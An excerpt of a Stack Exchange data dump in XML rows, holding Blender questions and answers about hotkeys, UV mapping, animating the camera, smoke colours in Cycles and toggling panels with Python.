  <row Id="23777" PostTypeId="1" CreationDate="2015-01-25T19:53:51.643" Score="0" ViewCount="1466" Body="&lt;p&gt;Having issues following the tutorial because the hot keys and short cuts are not working for me. If I click my spinwheel it won't allow me to orbit my 3D View instead it toggle windows on my computer.&#xA;Toggle full screen Alt F10- doesn't work&#xA;Toggle Quad View doesn't work, etc....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a novice attempting to learn Blender but it just makes it more difficult not being able to follow the tutorial.&lt;/p&gt;&#xA;" OwnerUserId="11219" LastActivityDate="2015-01-25T19:53:51.643" Title="List of hot Keys for Mac Mini. OS X10.6.8" Tags="&lt;shortcut&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23778" PostTypeId="1" AcceptedAnswerId="23779" CreationDate="2015-01-25T20:04:41.533" Score="1" ViewCount="1368" Body="&lt;p&gt;So I have UV unwrapped an object, and everything fits inside the UV grid as it should. But why should it remain within the UV grid? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to keep it within bounds or can I scale it outside the grid?&lt;/p&gt;&#xA;" OwnerUserId="11220" LastActivityDate="2015-01-25T20:36:03.083" Title="Can my unwrapped UV be scaled outside of the UV grid?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23779" PostTypeId="2" ParentId="23778" CreationDate="2015-01-25T20:30:52.287" Score="3" Body="&lt;p&gt;If you extend the UV grid the size of the texture will change inverse proportionally. If you make the UVs larger the texture will get smaller and start repeating itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PbwbJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-25T20:36:03.083" LastActivityDate="2015-01-25T20:36:03.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23780" PostTypeId="1" AcceptedAnswerId="23800" CreationDate="2015-01-25T21:19:38.943" Score="1" ViewCount="99" Body="&lt;p&gt;I have a double faced object, inside and outside, and I want to separate/delete the inside faces. What's the best way to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jAZOg.jpg&quot; alt=&quot;double faced mesh&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6311" LastActivityDate="2015-01-26T07:36:50.290" Title="How to divide double faced mesh?" Tags="&lt;faces&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23781" PostTypeId="1" CreationDate="2015-01-25T21:29:33.950" Score="6" ViewCount="1352" Body="&lt;p&gt;I hope this question is clear enough. I am trying to create a 3D model of a tesselated origami model. What I want to do is translate a vertex and have the surrounding vertices translate such that edges connecting them to the translated vertex keep their original length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of the origami model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/Me5Gv6a.jpg&quot; alt=&quot;Origami Model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of the 3D model of the flat tesselated pattern:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/pA6RUYd.png&quot; alt=&quot;3D Model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you can see here that I would like to translate the centre points of the concave hexagons (the vertices currently selected) and have the connected edges keep their length as if it was made of a rigid material.&lt;/p&gt;&#xA;" OwnerUserId="11222" LastEditorUserId="12" LastEditDate="2015-01-25T22:05:32.420" LastActivityDate="2015-04-06T01:46:35.987" Title="Is there a function to fix edge length in Blender?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;transforms&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23782" PostTypeId="1" CreationDate="2015-01-25T21:43:03.453" Score="1" ViewCount="385" Body="&lt;p&gt;I am trying to create a 3D model of a &lt;strong&gt;Penrose triangle&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://farm8.staticflickr.com/7266/7649013330_202b409d8c.jpg&quot; alt=&quot;penrose triangle&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;different angle of a 3D Penrose triangle&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JYUSZ.jpg&quot; alt=&quot;different angle&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently following the obvious path which is 3 rectangles with lowered edges at the ends to make them fit with the rest. But as you can see in the second image, the rectangles are rotated/bent on their long axis. How can that be achieved on Blender?&lt;/p&gt;&#xA;" OwnerUserId="11223" LastEditorUserId="32220" LastEditDate="2019-01-14T21:12:28.680" LastActivityDate="2019-01-14T21:12:28.680" Title="Bend rectangle along its long axis" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23783" PostTypeId="1" CreationDate="2015-01-25T21:46:43.893" Score="11" ViewCount="15670" Body="&lt;p&gt;Is it possible to animate zooming in on an object, or is moving the object the only option available to get it to appear closer to the camera?  &lt;/p&gt;&#xA;" OwnerUserId="11224" LastEditorUserId="2217" LastEditDate="2015-01-25T23:03:20.443" LastActivityDate="2015-01-27T07:00:12.503" Title="Zoom with camera in an animation" Tags="&lt;animation&gt;&lt;camera&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23784" PostTypeId="2" ParentId="23783" CreationDate="2015-01-25T21:52:22.773" Score="12" Body="&lt;p&gt;You can animate Focal length in camera properties panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vQpxx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the first frame of you animation and insert a keyframe on the focal length, right click over the focal length and select &lt;strong&gt;Insert Keyframe&lt;/strong&gt; value or press &lt;strong&gt;&lt;kbd&gt;I&lt;/kbd&gt;&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move to a different frame, change the focal length value and insert another keyframe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Animation example&#xA;&lt;img src=&quot;https://i.stack.imgur.com/k7jgS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11173" LastEditorDisplayName="user1853" LastEditDate="2015-01-26T20:08:53.303" LastActivityDate="2015-01-26T20:08:53.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23785" PostTypeId="2" ParentId="23783" CreationDate="2015-01-25T22:42:18.087" Score="4" Body="&lt;p&gt;You can animate the camera, just as any object. For instance, it's perfectly possible to animate the focal length:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/v46p5.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also animate the camera position:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/x1ABv.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the zooming effects of these two options are different, and which one to use depends on what you want it to look like. You could also animate both position and focal length together, to make it look like zooming in while moving away or zooming out while moving closer.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2015-01-25T22:42:18.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23786" PostTypeId="1" CreationDate="2015-01-25T23:06:13.683" Score="1" ViewCount="2268" Body="&lt;p&gt;I've been having a hard time finding good and consistent numbers for the focal length and sensor sizes for the iPhone 6 Plus and it isn't one of the built-in presets in Blender.  Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a hugely popular phone on which a lot of footage is being shot.  Blender ships with presets for numerous cameras for camera matching in the scripts/presets/camera directory, including the iPhone_4.py, iPhone_4S.py, and iPhone_5.py files as well as a number of presets for Android phones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we can get definitive values I can contribute back an iPhone_6_Plus.py that could ship with Blender and allow a vast amount of extant and future footage to be matched properly.&lt;/p&gt;&#xA;" OwnerUserId="9651" LastEditorUserId="9651" LastEditDate="2015-01-26T05:20:42.170" LastActivityDate="2015-01-26T05:20:42.170" Title="Anyone have camera specs for the iPhone 6 Plus?" Tags="&lt;camera&gt;" AnswerCount="0" CommentCount="11" ClosedDate="2015-01-26T01:58:01.420" ContentLicense="CC BY-SA 3.0" />
  <row Id="23787" PostTypeId="1" AcceptedAnswerId="23801" CreationDate="2015-01-25T23:35:52.723" Score="6" ViewCount="1328" Body="&lt;p&gt;As an experiment I was trying to create a scene with a few simple objects but with extremely large dimensions.  Think planet and moon sized objects and a couple of human scale objects in the foreground.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have units set to metric.&lt;/li&gt;&#xA;&lt;li&gt;I have set my camera's clipping end value 10000km&lt;/li&gt;&#xA;&lt;li&gt;I moved the camera to 0, -9000km, 0 looking toward the origin (I can see the 3D cursor there)&lt;/li&gt;&#xA;&lt;li&gt;I create a UV sphere at the origin with size 4000km.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The sphere is not visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a number of variants to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?  Or is this just out of scope for Blender for some reason.&lt;/p&gt;&#xA;" OwnerUserId="9651" LastActivityDate="2015-01-26T17:02:37.970" Title="Need advice for creating a simple scene with very large dimensions" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23788" PostTypeId="1" CreationDate="2015-01-26T00:40:46.073" Score="2" ViewCount="487" Body="&lt;p&gt;Here is my question rephrased. &#xA;I don't know exactly how to texture in blender. I've got a rifle I made in blender. I made it entirely out of one cube. When I brought it into unity, there was no way for me to texture the weapon individual textures. Like the handle flat black and the stock a wood grain spec diffuse. I was only able to texture the weapon in unity in one texture. My question is, is it better to go from edit mode to object mode in blender to create individual pieces of the weapon so that when it's exported to unity i'm able to texture those individual pieces? &lt;/p&gt;&#xA;" OwnerUserId="11195" LastEditorUserId="11195" LastEditDate="2015-01-26T10:04:28.157" LastActivityDate="2015-02-25T14:03:44.980" Title="Texturing object" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23789" PostTypeId="1" AcceptedAnswerId="23790" CreationDate="2015-01-26T00:48:20.210" Score="20" ViewCount="8842" Body="&lt;p&gt;How can I jump to the selected object in the out-liner, I've got over 200 objects in my scene, all named cube.___ ... and I can't seem to find my selected object. &lt;strong&gt;How can I jump to it?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2017-02-25T23:13:22.893" Title="Jump/Scroll to selected object in the outliner?" Tags="&lt;interface&gt;&lt;outliner&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23790" PostTypeId="2" ParentId="23789" CreationDate="2015-01-26T00:49:31.750" Score="33" Body="&lt;p&gt;You can use &lt;kbd&gt;Numpad .&lt;/kbd&gt; while hovering over the outliner, just like in the 3D view.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2017-02-25T23:13:22.893" LastActivityDate="2017-02-25T23:13:22.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23791" PostTypeId="2" ParentId="23789" CreationDate="2015-01-26T00:53:05.003" Score="15" Body="&lt;p&gt;Another less ideal way is to under the drop down at the top, to select active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jpmkI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The down side is that it will hide &lt;em&gt;everything&lt;/em&gt; else&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-01-26T00:53:05.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23792" PostTypeId="1" AcceptedAnswerId="23798" CreationDate="2015-01-26T03:17:16.680" Score="1" ViewCount="974" Body="&lt;p&gt;I'm trying to make a snowstorm effect in Blender. I have a plane that is emitting plane particles (with a snowflake texture mapped to it). There is also a Empty with a Force physics enabled on it. The Empty is set to vortex. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I bake bake the plane's physics, the particles either pull into the center far too much (like a tornado) or blow outwards. No matter how I adjust the settings, I can't make the particles swirl around a certain axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish this? And are there any alternatives to particle systems, vortexes, etc.?&lt;/p&gt;&#xA;" OwnerUserId="5609" LastActivityDate="2015-01-26T07:29:10.463" Title="Vortex with particle system without tornado effect for snowstorm scene" Tags="&lt;particles&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23793" PostTypeId="1" AcceptedAnswerId="23794" CreationDate="2015-01-26T04:15:24.690" Score="11" ViewCount="1112" Body="&lt;p&gt;I want to add a driver to a vertex' z position. Is this possible? If it is, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to add a driver, all I get is the option to edit source and edit translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/svUtR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2015-02-01T09:11:06.227" Title="Is it possible to add a driver to a vertex position?" Tags="&lt;transforms&gt;&lt;drivers&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23794" PostTypeId="2" ParentId="23793" CreationDate="2015-01-26T04:52:12.843" Score="8" Body="&lt;p&gt;In edit mode, select the vertex you want to animate. Then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; &gt; &lt;kbd&gt;H&lt;/kbd&gt; (Hook to new object). This will create an empty, whose position you can animate, and the selected vertex will follow it.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2015-01-26T04:52:12.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23795" PostTypeId="2" ParentId="23767" CreationDate="2015-01-26T05:16:30.330" Score="4" Body="&lt;p&gt;Further down the page you refer to you, under &lt;a href=&quot;https://trac.ffmpeg.org/wiki/Encode/H.264#AdditionalInformationTips&quot; rel=&quot;nofollow&quot;&gt;additional information&lt;/a&gt; you will find ABR (Average Bit Rate) where you will find the &lt;code&gt;-bitrate, -minrate, -maxrate&lt;/code&gt; and &lt;code&gt;-bufsize&lt;/code&gt; that correspond to blender's settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitrate is the target rate (average over the length of video) that you want to achieve. The minimum and maximum define how far from the average it is allowed to deviate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Video compression works by only updating areas of video that change and compressing those areas. Like jpeg the amount of compression can vary depending on the quality you want in the final image. If high quality compression pushes the bitrate higher than the maximum limit then it needs to lower the quality to stay in the range.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-26T05:16:30.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23796" PostTypeId="2" ParentId="23782" CreationDate="2015-01-26T06:51:13.637" Score="2" Body="&lt;p&gt;The key point to an optical illusion is that it is an &lt;strong&gt;&quot;optical illusion&quot;&lt;/strong&gt; and you usually can't model them accurately. You should create a model that looks right from the camera, but may not look right as you rotate around the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the triangle you are doing &lt;a href=&quot;https://www.youtube.com/watch?v=svi83TBDryI&quot; rel=&quot;nofollow noreferrer&quot;&gt;look at this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tip that can help is to use the Blender Internal for rendering. Under the Options panel of the material there is an Invert Z Depth setting. I haven't tried doing the same in cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This scene -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QkAfA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;renders as this -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sWrtk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this was created by Ton back in blender 1.70, you get a copy of &lt;a href=&quot;http://www.pasteall.org/blend/34014&quot; rel=&quot;nofollow noreferrer&quot;&gt;the file here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-26T06:51:13.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23797" PostTypeId="2" ParentId="23793" CreationDate="2015-01-26T07:04:42.190" Score="8" Body="&lt;p&gt;You could also add &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Techs/Shape/Shape_Keys&quot; rel=&quot;noreferrer&quot;&gt;Shape Keys&lt;/a&gt; and animate the influence, either by adding keyframes directly or by a driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fTWex.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-26T07:04:42.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23798" PostTypeId="2" ParentId="23792" CreationDate="2015-01-26T07:29:10.463" Score="3" Body="&lt;p&gt;Assuming you want the snow be blown in one direction and the same time to show some whirl, you could add an additional wind force and animate the vortexes force.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is easier to verify the effect when you don't bake, instead manipulate the settings while the simulation is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vWgQr.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-26T07:29:10.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23799" PostTypeId="2" ParentId="23781" CreationDate="2015-01-26T07:31:23.647" Score="4" Body="&lt;p&gt;For the specific case, You may consider using cloth simulation to preserve the edge length:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1 to 3&lt;/strong&gt;: Create Unit; mirror + arrays; Apply modifiers + coloring for convenience. (For existing model, you can ignore above)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4&lt;/strong&gt;: Select all poked vertices, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to add to a new vertex group, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;) to add a hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 5&lt;/strong&gt;: Add Cloth simulator. use the vertex group as pins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 6&lt;/strong&gt;: Scale the hook while simulating (playing animation). Then &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; - &lt;kbd&gt;2&lt;/kbd&gt; to convert the result. Finally, delete all unwanted faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xJQC7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bP71n.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3UWVBcFlEWU5pWUU/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-04-06T01:46:35.987" LastActivityDate="2015-04-06T01:46:35.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23800" PostTypeId="2" ParentId="23780" CreationDate="2015-01-26T07:36:50.290" Score="2" Body="&lt;p&gt;The easiest way would be to delete the faces then recreate them.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using edge select in wireframe view you can easily select the edges connecting each end using box select &lt;kbd&gt;B&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Delete edges &lt;kbd&gt;X&lt;/kbd&gt; will remove the duplicate faces and leave the two ends.&lt;/li&gt;&#xA;&lt;li&gt;Select both ends and bridge edge loops (in the specials menu &lt;kbd&gt;W&lt;/kbd&gt;) will fill in the faces you want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bJAB0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-26T07:36:50.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23801" PostTypeId="2" ParentId="23787" CreationDate="2015-01-26T08:26:49.233" Score="8" Body="&lt;p&gt;You need to change the clip distance not only on the camera, but on the viewport as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ByrFJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qUnk8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you are going to deal with those magnitudes, you might want to change the scale, both on the Viewport and the scene-&gt;units. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; watch out for Z-fighitng when rendering long distances. Read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/21647/weird-shading-effects-when-rendering-at-long-distance/21759#21759&quot;&gt;Weird shading effects when rendering at long distance&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-01-26T17:02:37.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23802" PostTypeId="1" AcceptedAnswerId="23803" CreationDate="2015-01-26T10:04:03.987" Score="18" ViewCount="3678" Body="&lt;p&gt;So I want to mix smoke with different colors in one domain object, I've found tutorials about that topic with Blender render engine, but not how to do that effect in cycles. I can define the smoke color in the node setup of the domain, but how can i seperate between my different flow objects?&lt;/p&gt;&#xA;" OwnerUserId="8346" LastActivityDate="2016-09-05T15:17:53.153" Title="Multiple smoke flows in one domain, with different colors" Tags="&lt;cycles-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23803" PostTypeId="2" ParentId="23802" CreationDate="2015-01-26T12:24:37.193" Score="21" Body="&lt;p&gt;You can use an &lt;em&gt;Attribute&lt;/em&gt; node with &lt;em&gt;color&lt;/em&gt; as a keyword to read color information from smoke (use colored flow objects).&#xA;Available keywords are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;color&lt;/li&gt;&#xA;&lt;li&gt;density&lt;/li&gt;&#xA;&lt;li&gt;flame&lt;/li&gt;&#xA;&lt;li&gt;heat *&lt;/li&gt;&#xA;&lt;li&gt;velocity *&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They are now all defined in &lt;code&gt;/addons/cycles/kernel/kernel_types.h&lt;/code&gt; though dunno if the last 2 are yet usable (maybe in some test builds) - &lt;strong&gt;edit&lt;/strong&gt; - these attributes are usable from version 2.78 up - from left to right: smoke render, heat map, velocity vectors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vbC9S.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vbC9S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smoke sim from &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?322427-Cycles-Volumetric-Rendering&amp;amp;p=2625031&amp;amp;viewfull=1#post2625031&quot; rel=&quot;noreferrer&quot;&gt;benu&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6zYFp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2016-09-05T15:17:53.153" LastActivityDate="2016-09-05T15:17:53.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23804" PostTypeId="1" AcceptedAnswerId="23808" CreationDate="2015-01-26T12:43:13.107" Score="3" ViewCount="1622" Body="&lt;p&gt;How to hide panels with python? I want to make quick hiding for better viewing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I want to hide:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Dte2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="12" LastEditDate="2015-01-26T13:45:28.237" LastActivityDate="2019-06-18T20:01:23.553" Title="Hide panels with python" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23805" PostTypeId="1" CreationDate="2015-01-26T12:50:07.303" Score="0" ViewCount="64" Body="&lt;p&gt;I've seen this done before but it was a long time ago. I don't know what it's called so forgive me if there's already a thread like this. Say you have a cube and you put a sphere inside the cube half way so that half of the sphere is poking out. You then use that sphere to carve out the other half of the sphere into the cube as if it's leaving a footprint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please redirect me to any duplicate post out there!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I'd prefer to avoid using the &lt;em&gt;Knife&lt;/em&gt; tool.&lt;/p&gt;&#xA;" OwnerUserId="5424" LastActivityDate="2015-01-26T12:50:07.303" Title="Cutting a mesh with another mesh" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-26T12:52:43.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="23806" PostTypeId="2" ParentId="23804" CreationDate="2015-01-26T12:54:19.553" Score="-5" Body="&lt;p&gt;You don't need python to quickly hide. Just make sure your mouse is in 3D view zone and press N to hide/unhide right panel and T to hide/unhide left panel. But, if you need full 3D view, you can select that layout on the top...&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="8363" LastEditDate="2015-01-26T13:37:39.470" LastActivityDate="2015-01-26T13:37:39.470" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23808" PostTypeId="2" ParentId="23804" CreationDate="2015-01-26T13:36:35.960" Score="6" Body="&lt;p&gt;Currently the Python API &lt;strong&gt;can't handle opening and closing panels&lt;/strong&gt; (it's not exposed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://blender.stackexchange.com/questions/3025/is-it-possible-to-expand-collapes-all-panels-in-a-region-with-a-keystroke-or-sho&quot;&gt;Is it possible to expand/collapes all panels in a region with a keystroke or shortcut?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing you can do with python is to &lt;strong&gt;toggle&lt;/strong&gt; by calling operators:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.view3d.properties()&#xA;bpy.ops.view3d.toolshelf()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They need the right context though, so they need to be called from the 3dview area or the context needs to be overwritten. This will toggle all panels in all 3d_views inside window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        context_copy = bpy.context.copy()&#xA;        context_copy['area'] = area&#xA;        bpy.ops.view3d.properties(context_copy)&#xA;        bpy.ops.view3d.toolshelf(context_copy)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-01-26T13:36:35.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
